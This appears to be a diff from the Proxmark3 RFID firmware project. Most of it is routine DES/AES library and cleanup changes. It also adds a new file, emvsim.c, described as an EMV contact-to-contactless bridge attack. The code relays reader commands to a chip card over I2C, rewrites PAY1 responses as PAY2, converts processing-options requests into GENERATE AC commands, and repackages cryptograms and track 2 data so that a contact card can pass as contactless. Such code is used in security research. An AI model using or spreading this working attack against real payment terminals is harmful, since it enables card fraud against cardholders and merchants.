// DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_DECRYPT);
// DES_ecb_encrypt ((DES_cblock *) edata, (DES_cblock *) data, &(key->ks2), DES_ENCRYPT);
// DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_DECRYPT);
break;
}
}
break;
case T_3K3DES:
}
case T_3K3DES: {
switch (operation) {
case MCO_ENCYPHER:
case MCO_ENCYPHER: {
mbedtls_des3_set3key_enc(&ctx3, key->data);
mbedtls_des3_crypt_ecb(&ctx3, data, edata);
// DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_ENCRYPT);
// DES_ecb_encrypt ((DES_cblock *) edata, (DES_cblock *) data, &(key->ks2), DES_DECRYPT);
// DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks3), DES_ENCRYPT);
break;
case MCO_DECYPHER:
}
case MCO_DECYPHER: {
mbedtls_des3_set3key_dec(&ctx3, key->data);
mbedtls_des3_crypt_ecb(&ctx3, data, edata);
// DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks3), DES_DECRYPT);
// DES_ecb_encrypt ((DES_cblock *) edata, (DES_cblock *) data, &(key->ks2), DES_ENCRYPT);
// DES_ecb_encrypt ((DES_cblock *) data, (DES_cblock *) edata, &(key->ks1), DES_DECRYPT);
break;
}
}
break;
case T_AES:
}
case T_AES: {
switch (operation) {
case MCO_ENCYPHER: {
mbedtls_aes_init(&actx);
mbedtls_aes_setkey_enc(&actx, key->data, 128);
mbedtls_aes_crypt_cbc(&actx, MBEDTLS_AES_ENCRYPT, sizeof(edata), ivect, data, edata);
mbedtls_aes_crypt_ecb(&actx, MBEDTLS_AES_ENCRYPT, data, edata);
break;
}
case MCO_DECYPHER: {
mbedtls_aes_init(&actx);
mbedtls_aes_setkey_dec(&actx, key->data, 128);
mbedtls_aes_crypt_cbc(&actx, MBEDTLS_AES_DECRYPT, sizeof(edata), ivect, edata, data);
mbedtls_aes_crypt_ecb(&actx, MBEDTLS_AES_DECRYPT, data, edata);
break;
}
}
break;
}
}
memcpy(data, edata, block_size);
@ -870,7 +913,7 @@ void mifare_cypher_single_block(desfirekey_t key, uint8_t *data, uint8_t *ivect,
if (direction == MCD_SEND) {
memcpy(ivect, data, block_size);
} else {
xor(ivect, data, block_size);
xor(data, ivect, block_size);
memcpy(ivect, ovect, block_size);
}
}

View file

@ -177,13 +177,13 @@ struct desfire_tag {
typedef struct desfire_tag *desfiretag_t;
void des_encrypt(void *out, const void *in, const void *key);
void des_decrypt(void *out, const void *in, const void *key);
void tdes_nxp_receive(const void *in, void *out, size_t length, const void *key, unsigned char iv[8], int keymode);
void tdes_nxp_send(const void *in, void *out, size_t length, const void *key, unsigned char iv[8], int keymode);
void tdes_nxp_receive(const void *in, void *out, size_t length, const void *key, uint8_t *iv, int keymode);
void tdes_nxp_send(const void *in, void *out, size_t length, const void *key, uint8_t *iv, int keymode);
void aes128_nxp_receive(const void *in, void *out, size_t length, const void *key, unsigned char iv[16]);
void aes128_nxp_send(const void *in, void *out, size_t length, const void *key, unsigned char iv[16]);
void Desfire_des_key_new(const uint8_t value[8], desfirekey_t key);
void Desfire_des_key_new(const uint8_t *value, desfirekey_t key);
void Desfire_3des_key_new(const uint8_t value[16], desfirekey_t key);
void Desfire_des_key_new_with_version(const uint8_t value[8], desfirekey_t key);
void Desfire_3des_key_new_with_version(const uint8_t value[16], desfirekey_t key);
@ -207,4 +207,6 @@ size_t enciphered_data_length(const desfiretag_t tag, const size_t nbytes, int c
void cmac_generate_subkeys(desfirekey_t key);
void cmac(const desfirekey_t key, uint8_t *ivect, const uint8_t *data, size_t len, uint8_t *cmac);
size_t key_macing_length(desfirekey_t key);
#endif

View file

@ -129,9 +129,9 @@ static bool extract_parities(uint64_t word, uint32_t *data) {
}
}
if ((row_parities == row_parities_calculated) && (col_parities == col_parities_calculated))
if ((row_parities == row_parities_calculated) && (col_parities == col_parities_calculated)) {
return true;
}
return false;
}
@ -748,7 +748,7 @@ void em4x50_chk(const char *filename, bool ledcontrol) {
uint16_t pwd_count = 0;
uint32_t size = size_in_spiffs(filename);
pwd_count = size / 4;
uint8_t *pwds = BigBuf_malloc(size);
uint8_t *pwds = BigBuf_calloc(size);
rdv40_spiffs_read_as_filetype(filename, pwds, size, RDV40_SPIFFS_SAFETY_SAFE);

File diff suppressed because it is too large Load diff

View file

@ -19,12 +19,11 @@
#ifndef EM4x70_H
#define EM4x70_H
#include <stdint.h>
#include <stdbool.h>
#include <assert.h>
#include "../include/em4x70.h"
typedef struct {
uint8_t data[32];
} em4x70_tag_t;
typedef enum {
RISING_EDGE,
FALLING_EDGE

682
armsrc/emvsim.c Normal file
View file

@ -0,0 +1,682 @@
//-----------------------------------------------------------------------------
// Copyright (C) n-hutton - Sept 2024
// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// See LICENSE.txt for the text of the license.
//-----------------------------------------------------------------------------
// EVM contact to contactless bridge attack
//-----------------------------------------------------------------------------
// Verbose Mode:
// DBG_NONE 0
// DBG_ERROR 1
// DBG_INFO 2
// DBG_DEBUG 3
// DBG_EXTENDED 4
// /!\ Printing Debug message is disrupting emulation,
// Only use with caution during debugging
// indices into responses array copied from mifare sim init:
#define ATQA 0
#define SAK 1
#define SAKuid 2
#define UIDBCC1 3
#define UIDBCC2 8
#define UIDBCC3 13
#include "emvsim.h"
#include <inttypes.h>
#include "BigBuf.h"
#include "iso14443a.h"
#include "BigBuf.h"
#include "string.h"
#include "mifareutil.h"
#include "mifaresim.h"
#include "fpgaloader.h"
#include "proxmark3_arm.h"
#include "protocols.h"
#include "util.h"
#include "commonutil.h"
#include "dbprint.h"
#include "ticks.h"
#include "i2c_direct.h"
// Hardcoded response to the reader for file not found, plus the checksum
static uint8_t filenotfound[] = {0x02, 0x6a, 0x82, 0x93, 0x2f};
// TLV response for PPSE directory request
static uint8_t pay1_response[] = { 0x6F, 0x1E, 0x84, 0x0E };
// The WTX we want to send out... The format:
// 0xf2 is the command
// 0x0e is the time to wait (currently at max)
// The remaining bytes are CRC, precalculated for speed
static uint8_t extend_resp[] = {0xf2, 0x0e, 0x66, 0xb8};
// For reference, we have here the pay1 template we receive from the card, and the pay2 template we send back to the reader
// These can be inspected at https://emvlab.org/tlvutils/
// Note that the pay2 template is coded for visa ps in the UK - other countries may have different templates. Refer:
// https://mstcompany.net/blog/acquiring-emv-transaction-flow-part-3-get-processing-options-with-and-without-pdol
// Specifically, 9F5A: Application Program Identifier: 3108260826 might have to become 31 0840 0840 for USA for example.
// todo: see if this can be read from the card and automatically populated rather than hard coded
//static uint8_t fci_template_pay1[] = {0xff, 0x6f, 0x3b, 0x84, 0x07, 0xa0, 0x00, 0x00, 0x00, 0x03, 0x10, 0x10, 0xa5, 0x30, 0x50, 0x0a, 0x56, 0x69, 0x73, 0x61, 0x20, 0x44, 0x65, 0x62, 0x69, 0x74, 0x5f, 0x2d, 0x02, 0x65, 0x6e, 0x9f, 0x12, 0x0a, 0x56, 0x69, 0x73, 0x61, 0x20, 0x44, 0x65, 0x62, 0x69, 0x74, 0x9f, 0x11, 0x01, 0x01, 0xbf, 0x0c, 0x0b, 0x9f, 0x0a, 0x08, 0x00, 0x01, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0x17, 0x48};
static uint8_t fci_template_pay2[] = {0x02, 0x6f, 0x5e, 0x84, 0x07, 0xa0, 0x00, 0x00, 0x00, 0x03, 0x10, 0x10, 0xa5, 0x53, 0x50, 0x0a, 0x56, 0x69, 0x73, 0x61, 0x20, 0x44, 0x65, 0x62, 0x69, 0x74, 0x9f, 0x38, 0x18, 0x9f, 0x66, 0x04, 0x9f, 0x02, 0x06, 0x9f, 0x03, 0x06, 0x9f, 0x1a, 0x02, 0x95, 0x05, 0x5f, 0x2a, 0x02, 0x9a, 0x03, 0x9c, 0x01, 0x9f, 0x37, 0x04, 0x5f, 0x2d, 0x02, 0x65, 0x6e, 0x9f, 0x11, 0x01, 0x01, 0x9f, 0x12, 0x0a, 0x56, 0x69, 0x73, 0x61, 0x20, 0x44, 0x65, 0x62, 0x69, 0x74, 0xbf, 0x0c, 0x13, 0x9f, 0x5a, 0x05, 0x31, 0x08, 0x26, 0x08, 0x26, 0x9f, 0x0a, 0x08, 0x00, 0x01, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00, 0x90, 0x00, 0xd8, 0x15};
// This is the hardcoded response that a contactless card would respond with when asked to select PPSE.
// It is a TLV structure, and can be seen here:
// https://emvlab.org/tlvutils/?data=6f3e840e325041592e5359532e4444463031a52cbf0c2961274f07a0000000031010500a566973612044656269749f0a080001050100000000bf6304df200180
// The first byte is the class byte, and the payload is followed by 0x9000, which is the success code, and the CRC (precalculated)
static uint8_t pay2_response[] = { 0x03, 0x6f, 0x3e, 0x84, 0x0e, 0x32, 0x50, 0x41, 0x59, 0x2e, 0x53, 0x59, 0x53, 0x2e, 0x44, 0x44, 0x46, 0x30, 0x31, 0xa5, 0x2c, 0xbf, 0x0c, 0x29, 0x61, 0x27, 0x4f, 0x07, 0xa0, 0x00, 0x00, 0x00, 0x03, 0x10, 0x10, 0x50, 0x0a, 0x56, 0x69, 0x73, 0x61, 0x20, 0x44, 0x65, 0x62, 0x69, 0x74, 0x9f, 0x0a, 0x08, 0x00, 0x01, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00, 0xbf, 0x63, 0x04, 0xdf, 0x20, 0x01, 0x80, 0x90, 0x00, 0x07, 0x9d};
void ExecuteEMVSim(uint8_t *receivedCmd, uint16_t receivedCmd_len, uint8_t *receivedCmd_copy, uint16_t receivedCmd_len_copy);
typedef enum {
STATE_DEFAULT,
SELECT_PAY1,
SELECT_PAY1_AID,
REQUESTING_CARD_PDOL,
GENERATE_AC,
} SystemState;
static SystemState currentState = STATE_DEFAULT;
// This is the main entry point for the EMV attack, everything before this has just been setup/handshaking.
// In order to meet the timing requirements, as soon as the proxmark sees a command it immediately
// caches the command to process and responds with a WTX
// (waiting time extension). When it get the response to this WTX, it can process the cached command through the I2C interface.
//
// The full flow is:
// 1. Handshake with RATS
// 2. Reader attempts to find out which payment environment the proxmark supports (may start with SELECT OSE for example)
// 3. Reader eventually makes a request for the PAY2 application (select PPSE) (contactless payment)
// 4. We read the PAY1 environment and transform it into PAY2 to respond
// 5. Reader will select AID we responded in step 4
// 6. We get the response from selecting the PAY1 AID and transform it into PAY2 response (fci template)
// - This is important as it contains the PDOL (processing data object list) which specifies the data which is
// signed by the card and sent to the reader to verify the transaction.
// 7. The reader will then issue 'get processing options' which seems to be used here to provide the fields to be signed
// as specified by the PDOL.
// 8. In contactless flow, GPO should at least return the Application Interchange Profile (AIP) and
// Application File Locator (AFL). However, here we return track 2 data, the cryptogram, everything. This completes the transaction.
// 9. To construct this final response, behind the scenes we need to interact with the card to make it think its completing a contact transaction:
// - Request PDOL to prime the card (response not used)
// - Rearrange the GPO data provided into a 'generate AC' command for the card
// - Extract the cryptogram, track 2 data and anything else required
// - Respond. Transaction is complete
void ExecuteEMVSim(uint8_t *receivedCmd, uint16_t receivedCmd_len, uint8_t *receivedCmd_copy, uint16_t receivedCmd_len_copy) {
uint8_t responseToReader[MAX_FRAME_SIZE] = {0x00};
uint16_t responseToReader_len;
// special print me
Dbprintf("\nrecvd from reader:");
Dbhexdump(receivedCmd_len, receivedCmd, false);
Dbprintf("");
// use annotate to give some hints about the command
annotate(&receivedCmd[1], receivedCmd_len - 1);
// This is a common request from the reader which we can just immediately respond to since we know we can't
// handle it.
if (receivedCmd[6] == 'O' && receivedCmd[7] == 'S' && receivedCmd[8] == 'E') {
Dbprintf("We saw OSE... ignore it!");
EmSendCmd(filenotfound, sizeof(filenotfound));
return;
}
// We want to modify corrupted request
if ((receivedCmd_len > 5 && receivedCmd[0] != 0x03 && receivedCmd[0] != 0x02 && receivedCmd[1] == 0 && receivedCmd[4] == 0) || (receivedCmd[2] == 0xa8)) {
Dbprintf("We saw signing request... modifying it into a generate ac transaction !!!!");
currentState = GENERATE_AC;
memcpy(receivedCmd, (unsigned char[]) { 0x03, 0x80, 0xae, 0x80, 0x00, 0x1d }, 6);
for (int i = 0; i < 29; i++) {
receivedCmd[6 + i] = receivedCmd[12 + i];
}
// clear final byte just in case
receivedCmd[35] = 0;
receivedCmd_len = 35 + 3; // Core command is 35, then there is control code and the crc
Dbprintf("\nthe command has now become:");
Dbhexdump(receivedCmd_len, receivedCmd, false);
}
// Seems unlikely
if (receivedCmd_len >= 9 && receivedCmd[6] == '1' && receivedCmd[7] == 'P' && receivedCmd[8] == 'A') {
Dbprintf("We saw 1PA... !!!!");
}
// Request more time for 2PAY and respond with a modified 1PAY request. We literally just change the 2 to a 1.
if (receivedCmd_len >= 9 && receivedCmd[6] == '2' && receivedCmd[7] == 'P' && receivedCmd[8] == 'A') {
Dbprintf("We saw 2PA... switching it to 1PAY !!!!");
receivedCmd[6] = '1';
currentState = SELECT_PAY1;
}
// We are selecting a short AID - assume it is pay2 aid
if (receivedCmd[2] == 0xA4 && receivedCmd[5] == 0x07) {
Dbprintf("Selecting pay2 AID");
currentState = SELECT_PAY1_AID;
}
static uint8_t rnd_resp[] = {0xb2, 0x67, 0xc7};
if (memcmp(receivedCmd, rnd_resp, sizeof(rnd_resp)) == 0) {
Dbprintf("We saw bad response... !");
return;
}
// We have received the response from a WTX command! Process the cached command at this point.
if (memcmp(receivedCmd, extend_resp, sizeof(extend_resp)) == 0) {
// Special case: if we are about to do a generate AC, we also need to
// make a request for pdol first (and discard response)...
if (receivedCmd_copy[1] == 0x80 && receivedCmd_copy[2] == 0xae) {
Dbprintf("We are about to do a generate AC... we need to request PDOL first...");
uint8_t pdol_request[] = { 0x80, 0xa8, 0x00, 0x00, 0x02, 0x83, 0x00 };
currentState = REQUESTING_CARD_PDOL;
CmdSmartRaw(0xff, &(pdol_request[0]), sizeof(pdol_request), (&responseToReader[0]), &responseToReader_len);
}
// Send the cached command to the card via ISO7816
// This is minus 3 because we don't include the first byte (prepend), plus we don't want to send the
// last two bytes (CRC) to the card.
// On the return, the first class byte must be the same, so it's preserved in responseToReader
CmdSmartRaw(receivedCmd_copy[0], &(receivedCmd_copy[1]), receivedCmd_len_copy - 3, (&responseToReader[0]), &responseToReader_len);
// Print the unadultered response we got from the card here
Dbprintf("The response from the card is ==> :");
Dbhexdump(responseToReader_len, responseToReader, false);
// We have passed the reader's query to the card, but before we return it, we need to check if we need to modify
// the response to 'pretend' to be a PAY2 environment.
// This is always the same response for VISA, the only currently supported card
if (currentState == SELECT_PAY1) {
Dbprintf("We saw a PAY1 response... modifying it to a PAY2 response !!!!");
if (!memcmp(&responseToReader[1], &pay1_response[0], sizeof(pay1_response)) == 0) {
Dbprintf("The response from the card is not a PAY1 response. This is unexpected and probably fatal.");
}
if (pay2_response[0] != responseToReader[0]) {
Dbprintf("The first byte of the PAY2 response is different from the request. This is unexpected and probably fatal.");
}
memcpy(responseToReader, &pay2_response[0], sizeof(pay2_response));
responseToReader_len = sizeof(pay2_response);
}
if (responseToReader[0] != 0xff && responseToReader[1] == 0x77 && true) {
Dbprintf("we have detected a generate ac response, lets repackage it!!");
Dbhexdump(responseToReader_len, responseToReader, false); // special print
// 11 and 12 are trans counter.
// 16 to 24 are the cryptogram
// 27 to 34 is issuer application data
Dbprintf("atc: %d %d, cryptogram: %d ", responseToReader[11], responseToReader[12], responseToReader[13]);
// then, on the template:
// 60 and 61 for counter
// 45 to 53 for cryptogram
// 35 to 42 for issuer application data
uint8_t template[] = { 0x00, 0x77, 0x47, 0x82, 0x02, 0x39, 0x00, 0x57, 0x13, 0x47,
0x62, 0x28, 0x00, 0x05, 0x93, 0x38, 0x64, 0xd2, 0x70, 0x92,
0x01, 0x00, 0x00, 0x01, 0x42, 0x00, 0x00, 0x0f, 0x5f, 0x34,
0x01, 0x00, 0x9f, 0x10, 0x07, 0x06, 0x01, 0x12, 0x03, 0xa0,
0x20, 0x00, 0x9f, 0x26, 0x08, 0x56, 0xcb, 0x4e, 0xe1, 0xa4,
0xef, 0xac, 0x74, 0x9f, 0x27, 0x01, 0x80, 0x9f, 0x36, 0x02,
0x00, 0x07, 0x9f, 0x6c, 0x02, 0x3e, 0x00, 0x9f, 0x6e, 0x04,
0x20, 0x70, 0x00, 0x00, 0x90, 0x00, 0xff, 0xff
};
// do the replacement
template[0] = responseToReader[0]; // class bit 0
template[60] = responseToReader[10];
template[61] = responseToReader[11];
// Copy responseToReader[15..23] to template[45..53]
for (int i = 0; i <= 8; i++) {
template[45 + i] = responseToReader[15 + i];
}
// Copy responseToReader[26..32] to template[35..41]
for (int i = 0; i <= 6; i++) {
template[35 + i] = responseToReader[26 + i];
}
Dbprintf("\nrearranged is: ");
responseToReader_len = sizeof(template);
// We DO NOT add the CRC here, this way we can avoid a million penny payments!
// The CRC is calculated here, but doesn't include the class bit at the beginning, plus
// also obvisously doesn't include the CRC bytes itself.
AddCrc14A(&template[0], responseToReader_len - 2);
responseToReader_len = sizeof(template);
memcpy(responseToReader, &template[0], responseToReader_len);
Dbprintf("\nafter crc rearranged is: ");
Dbhexdump(responseToReader_len, &responseToReader[0], false); // special print
}
// If we would return a PAY1 fci response, we instead return a PAY2 fci response
if (currentState == SELECT_PAY1_AID) {
Dbprintf("We saw a PAY1 response... modifying it to a PAY2 response for outgoing !!!!");
memcpy(responseToReader, fci_template_pay2, sizeof(fci_template_pay2));
responseToReader_len = sizeof(fci_template_pay2);
}
EmSendCmd(responseToReader, responseToReader_len);
return;
}
// Send a request for more time, and cache the command we want to process
EmSendCmd(extend_resp, 4);
}
/**
* EMVsim - simulate an EMV contactless card transaction by
*
*@param flags: See pm3_cmd.h for the full definitions
*@param exitAfterNReads, exit simulation after n transactions (default 1)
*@param uid, UID - must be length 7
*@param atqa, override for ATQA, flags indicate if this is used
*@param sak, override for SAK, flags indicate if this is used
* (unless reader attack mode enabled then it runs util it gets enough nonces to recover all keys attmpted)
*/
void EMVsim(uint16_t flags, uint8_t exitAfterNReads, uint8_t *uid, uint16_t atqa, uint8_t sak) {
tag_response_info_t *responses;
uint8_t cardSTATE = MFEMUL_NOFIELD;
uint8_t uid_len = 0; // 7
uint32_t cuid = 0;
uint8_t receivedCmd[MAX_FRAME_SIZE] = {0x00};
uint8_t receivedCmd_copy[MAX_FRAME_SIZE] = {0x00};
uint8_t receivedCmd_par[MAX_MIFARE_PARITY_SIZE] = {0x00};
uint16_t receivedCmd_len;
uint16_t receivedCmd_len_copy = 0;
if (receivedCmd_len_copy) {
Dbprintf("receivedCmd_len_copy: %d", receivedCmd_len_copy);
}
uint8_t *rats = NULL;
uint8_t rats_len = 0;
// if fct is called with NULL we need to assign some memory since this pointer is passed around
uint8_t uid_tmp[10] = {0};
if (uid == NULL) {
uid = uid_tmp;
}
const tUart14a *uart = GetUart14a();
// free eventually allocated BigBuf memory but keep Emulator Memory
BigBuf_free_keep_EM();
// Print all arguments going into mifare sim init
Dbprintf("EMVsim: flags: %04x, uid: %p, atqa: %04x, sak: %02x", flags, uid, atqa, sak);
if (MifareSimInit(flags, uid, atqa, sak, &responses, &cuid, &uid_len, &rats, &rats_len) == false) {
BigBuf_free_keep_EM();
return;
}
// Print all the outputs after the sim init
Dbprintf("EMVsim: cuid: %08x, uid_len: %d, rats: %p, rats_len: %d", cuid, uid_len, rats, rats_len);
// We need to listen to the high-frequency, peak-detected path.
iso14443a_setup(FPGA_HF_ISO14443A_TAGSIM_LISTEN);
// clear trace
clear_trace();
set_tracing(true);
LED_D_ON();
ResetSspClk();
int counter = 0;
bool finished = false;
bool button_pushed = BUTTON_PRESS();
while ((button_pushed == false) && (finished == false)) {
WDT_HIT();
if (counter == 3000) {
if (data_available()) {
Dbprintf("----------- " _GREEN_("BREAKING") " ----------");
break;
}
counter = 0;
} else {
counter++;
}
FpgaEnableTracing();
// Now, get data from the FPGA
int res = EmGetCmd(receivedCmd, sizeof(receivedCmd), &receivedCmd_len, receivedCmd_par);
if (res == 2) { //Field is off!
LEDsoff();
if (cardSTATE != MFEMUL_NOFIELD) {
Dbprintf("cardSTATE = MFEMUL_NOFIELD");
break;
}
cardSTATE = MFEMUL_NOFIELD;
continue;
} else if (res == 1) { // button pressed
FpgaDisableTracing();
button_pushed = true;
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("Button pressed");
break;
}
// WUPA in HALTED state or REQA or WUPA in any other state
if (receivedCmd_len == 1 && ((receivedCmd[0] == ISO14443A_CMD_REQA && cardSTATE != MFEMUL_HALTED) || receivedCmd[0] == ISO14443A_CMD_WUPA)) {
EmSendPrecompiledCmd(&responses[ATQA]);
FpgaDisableTracing();
LED_B_OFF();
LED_C_OFF();
cardSTATE = MFEMUL_SELECT;
continue;
}
switch (cardSTATE) {
case MFEMUL_NOFIELD: {
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("MFEMUL_NOFIELD");
break;
}
case MFEMUL_HALTED: {
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("MFEMUL_HALTED");
break;
}
case MFEMUL_IDLE: {
LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true);
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("MFEMUL_IDLE");
break;
}
// The anti-collision sequence, which is a mandatory part of the card activation sequence.
// It auto with 4-byte UID (= Single Size UID),
// 7 -byte UID (= Double Size UID) or 10-byte UID (= Triple Size UID).
// For details see chapter 2 of AN10927.pdf
//
// This case is used for all Cascade Levels, because:
// 1) Any devices (under Android for example) after full select procedure completed,
// when UID is known, uses "fast-selection" method. In this case reader ignores
// first cascades and tries to select tag by last bytes of UID of last cascade
// 2) Any readers (like ACR122U) uses bit oriented anti-collision frames during selectin,
// same as multiple tags. For details see chapter 6.1.5.3 of ISO/IEC 14443-3
case MFEMUL_SELECT: {
int uid_index = -1;
// Extract cascade level
if (receivedCmd_len >= 2) {
switch (receivedCmd[0]) {
case ISO14443A_CMD_ANTICOLL_OR_SELECT:
uid_index = UIDBCC1;
break;
case ISO14443A_CMD_ANTICOLL_OR_SELECT_2:
uid_index = UIDBCC2;
break;
case ISO14443A_CMD_ANTICOLL_OR_SELECT_3:
uid_index = UIDBCC3;
break;
}
}
if (uid_index < 0) {
LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true);
cardSTATE_TO_IDLE();
break;
}
// Incoming SELECT ALL for any cascade level
if (receivedCmd_len == 2 && receivedCmd[1] == 0x20) {
EmSendPrecompiledCmd(&responses[uid_index]);
FpgaDisableTracing();
break;
}
// Incoming SELECT CLx for any cascade level
if (receivedCmd_len == 9 && receivedCmd[1] == 0x70) {
if (memcmp(&receivedCmd[2], responses[uid_index].response, 4) == 0) {
bool cl_finished = (uid_len == 4 && uid_index == UIDBCC1) ||
(uid_len == 7 && uid_index == UIDBCC2) ||
(uid_len == 10 && uid_index == UIDBCC3);
EmSendPrecompiledCmd(&responses[cl_finished ? SAK : SAKuid]);
FpgaDisableTracing();
if (cl_finished) {
LED_B_ON();
cardSTATE = MFEMUL_WORK;
}
} else {
// IDLE, not our UID
LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true);
cardSTATE_TO_IDLE();
if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_SELECT] cardSTATE = MFEMUL_IDLE");
}
break;
}
// Incoming anti-collision frame
// receivedCmd[1] indicates number of byte and bit collision, supports only for bit collision is zero
if (receivedCmd_len >= 3 && receivedCmd_len <= 6 && (receivedCmd[1] & 0x0f) == 0) {
// we can process only full-byte frame anti-collision procedure
if (memcmp(&receivedCmd[2], responses[uid_index].response, receivedCmd_len - 2) == 0) {
// response missing part of UID via relative array index
EmSendPrecompiledCmd(&responses[uid_index + receivedCmd_len - 2]);
FpgaDisableTracing();
if (g_dbglevel >= DBG_EXTENDED) Dbprintf("SELECT ANTICOLLISION - EmSendPrecompiledCmd(%02x)", &responses[uid_index]);
Dbprintf("001 SELECT ANTICOLLISION - EmSendPrecompiledCmd(%02x)", &responses[uid_index]);
} else {
// IDLE, not our UID or split-byte frame anti-collision (not supports)
LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true);
cardSTATE_TO_IDLE();
if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_SELECT] cardSTATE = MFEMUL_IDLE");
}
break;
}
// Unknown selection procedure
LogTrace(uart->output, uart->len, uart->startTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->endTime * 16 - DELAY_AIR2ARM_AS_TAG, uart->parity, true);
cardSTATE_TO_IDLE();
if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_SELECT] Unknown selection procedure");
break;
}
// WORK
case MFEMUL_WORK: {
if (receivedCmd_len == 0) {
if (g_dbglevel >= DBG_EXTENDED) Dbprintf("[MFEMUL_WORK] NO CMD received");
Dbprintf("001 [MFEMUL_WORK] NO CMD received");
break;
}
// all commands must have a valid CRC
if (!CheckCrc14A(receivedCmd, receivedCmd_len)) {
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("[MFEMUL_WORK] All commands must have a valid CRC %02X (%d)", receivedCmd,
receivedCmd_len);
break;
}
// rule 13 of 7.5.3. in ISO 14443-4. chaining shall be continued
// BUT... ACK --> NACK
if (receivedCmd_len == 1 && receivedCmd[0] == CARD_ACK) {
Dbprintf("[MFEMUL_WORK] ACK --> NACK !!");
EmSend4bit(CARD_NACK_NA);
FpgaDisableTracing();
break;
}
// rule 12 of 7.5.3. in ISO 14443-4. R(NAK) --> R(ACK)
if (receivedCmd_len == 1 && receivedCmd[0] == CARD_NACK_NA) {
Dbprintf("[MFEMUL_WORK] NACK --> NACK !!");
EmSend4bit(CARD_ACK);
FpgaDisableTracing();
break;
}
// case MFEMUL_WORK => CMD RATS
if (receivedCmd_len == 4 && receivedCmd[0] == ISO14443A_CMD_RATS && receivedCmd[1] == 0x80) {
if (rats && rats_len) {
EmSendCmd(rats, rats_len);
FpgaDisableTracing();
} else {
EmSend4bit(CARD_NACK_NA);
FpgaDisableTracing();
cardSTATE_TO_IDLE();
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("[MFEMUL_WORK] RCV RATS => NACK");
}
break;
}
// case MFEMUL_WORK => ISO14443A_CMD_NXP_DESELECT
if (receivedCmd_len == 3 && receivedCmd[0] == ISO14443A_CMD_NXP_DESELECT) {
if (rats && rats_len) {
EmSendCmd(receivedCmd, receivedCmd_len);
FpgaDisableTracing();
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => ACK");
} else {
EmSend4bit(CARD_NACK_NA);
FpgaDisableTracing();
cardSTATE_TO_IDLE();
if (g_dbglevel >= DBG_EXTENDED)
Dbprintf("[MFEMUL_WORK] RCV NXP DESELECT => NACK");
}
break;
}
// From this point onwards is where the 'magic' happens
ExecuteEMVSim(receivedCmd, receivedCmd_len, receivedCmd_copy, receivedCmd_len_copy);
// We want to keep a copy of the command we just saw, because we will process it once we get the
// WTX response
Dbprintf("Caching command for later processing... its length is %d", receivedCmd_len);
memcpy(receivedCmd_copy, receivedCmd, receivedCmd_len);
receivedCmd_len_copy = receivedCmd_len;
}
continue;
} // End Switch Loop
button_pushed = BUTTON_PRESS();
} // End While Loop
FpgaDisableTracing();
if (g_dbglevel >= DBG_ERROR) {
Dbprintf("Emulator stopped. Tracing: %d trace length: %d ", get_tracing(), BigBuf_get_traceLen());
}
FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF);
LEDsoff();
set_tracing(false);
BigBuf_free_keep_EM();
}
// annotate iso 7816
void annotate(uint8_t *cmd, uint8_t cmdsize) {
if (cmdsize < 2) {
return;
}
// From https://mvallim.github.io/emv-qrcode/docs/EMV_v4.3_Book_3_Application_Specification_20120607062110791.pdf
// section 6.3.2
switch (cmd[1]) {
case ISO7816_APPLICATION_BLOCK: {
Dbprintf("APPLICATION BLOCK");
break;
}
case ISO7816_APPLICATION_UNBLOCK: {
Dbprintf("APPLICATION UNBLOCK");
break;
}
case ISO7816_CARD_BLOCK: {
Dbprintf("CARD BLOCK");
break;
}
case ISO7816_EXTERNAL_AUTHENTICATION: {
Dbprintf("EXTERNAL AUTHENTICATE");
break;
}
case ISO7816_GENERATE_APPLICATION_CRYPTOGRAM: {
Dbprintf("GENERATE APPLICATION CRYPTOGRAM");
break;
}
case ISO7816_GET_CHALLENGE: {
Dbprintf("GET CHALLENGE");
break;
}
case ISO7816_GET_DATA: {
Dbprintf("GET DATA");
break;
}
case ISO7816_GET_PROCESSING_OPTIONS: {
Dbprintf("GET PROCESSING OPTIONS");
break;
}
case ISO7816_INTERNAL_AUTHENTICATION: {
Dbprintf("INTERNAL AUTHENTICATION");
break;
}
case ISO7816_PIN_CHANGE: {
Dbprintf("PIN CHANGE");
break;
}
case ISO7816_READ_RECORDS: {
Dbprintf("READ RECORDS");
break;
}
